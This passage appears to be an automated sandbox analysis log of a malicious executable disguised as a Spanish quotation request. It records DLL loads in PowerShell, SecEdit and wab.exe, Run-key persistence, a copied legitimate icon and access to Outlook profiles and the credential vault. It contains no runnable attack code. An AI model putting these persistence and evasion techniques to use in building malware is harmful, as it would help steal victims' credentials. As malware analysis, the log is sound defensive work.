Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: scecli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\SecEdit.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Creates autostart registry keys with suspicious names

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static file information: File size 3079318 > 1048576

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.pdb` source: WER6339.tmp.dmp.8.dr
Source:	Binary string: SecEdit.pdb source: wab.exe, 00000004.00000002.1543304838.0000000003197000.00000004.00000020.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3791818331.000000000102E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000004.00000003.1452243090.0000000003449000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000003.1450246233.0000000003290000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.000000000378E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.000000000313E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1545415018.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1543063354.0000000002C09000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.0000000002FA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000004.00000003.1452243090.0000000003449000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000003.1450246233.0000000003290000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.000000000378E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, SecEdit.exe, 0000000C.00000002.3792654545.000000000313E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1545415018.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1543063354.0000000002C09000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.0000000002FA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER6339.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdbH source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wab.pdbGCTL source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3793502568.00000000035CC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000002F6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001F9DC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wab.pdb source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3793502568.00000000035CC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000002F6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001F9DC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: SecEdit.pdbGCTL source: wab.exe, 00000004.00000002.1543304838.0000000003197000.00000004.00000020.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3791818331.000000000102E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1467468971.00000000006CE000.00000002.00000001.01000000.00000008.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3790653322.00000000006CE000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Drawing.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb8 source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdbpH source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0236F62 push esi; iretd	0_2_00007FF7C0236FD7
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Code function: 0_2_00007FF7C0320000 push esp; retf 4810h	0_2_00007FF7C0320312
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0041E006 push edx; iretd	4_2_0041DFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0041E006 push ss; ret	4_2_0041E025
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_004051ED push edx; ret	4_2_00405225
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_004032E0 push eax; ret	4_2_004032E2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00422C43 pushad ; iretd	4_2_00422CEC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040CC0D push edi; iretd	4_2_0040CC0E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00411413 push edi; iretd	4_2_0041141A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040CD21 pushfd ; retf	4_2_0040CD22
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00413E8B push eax; retf	4_2_00413E8C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0040A746 push eax; iretd	4_2_0040A74D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0041DF1C push edx; iretd	4_2_0041DFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0041DF23 push edx; iretd	4_2_0041DFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_00404F37 push cs; ret	4_2_00404F3A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036209AD push ecx; mov dword ptr [esp], ecx	4_2_036209B6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD09AD push ecx; mov dword ptr [esp], ecx	12_2_02FD09B6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0059008E pushfd ; retf	12_2_00590095
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057E130 push edi; iretd	12_2_0057E137
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_005901A8 push edx; iretd	12_2_005901B9
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00577463 push eax; iretd	12_2_0057746A
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058B657 pushad ; retf	12_2_0058B658
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0059067C pushad ; iretd	12_2_00590699
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0059069D push esp; iretd	12_2_005906AA
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058F960 pushad ; iretd	12_2_0058FA09
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058F9EF pushad ; iretd	12_2_0058FA09
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058BA1D push ds; ret	12_2_0058BA2B
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00571C54 push cs; ret	12_2_00571C57
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058AC40 push edx; iretd	12_2_0058ACFD
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058AC39 push edx; iretd	12_2_0058ACFD
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0058AD23 push edx; iretd	12_2_0058ACFD

Boot Survival

Source: C:\Windows\SysWOW64\SecEdit.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26RXLR-

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: C:\Windows\SysWOW64\SecEdit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26RXLR-			Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26RXLR-			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (27).png

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
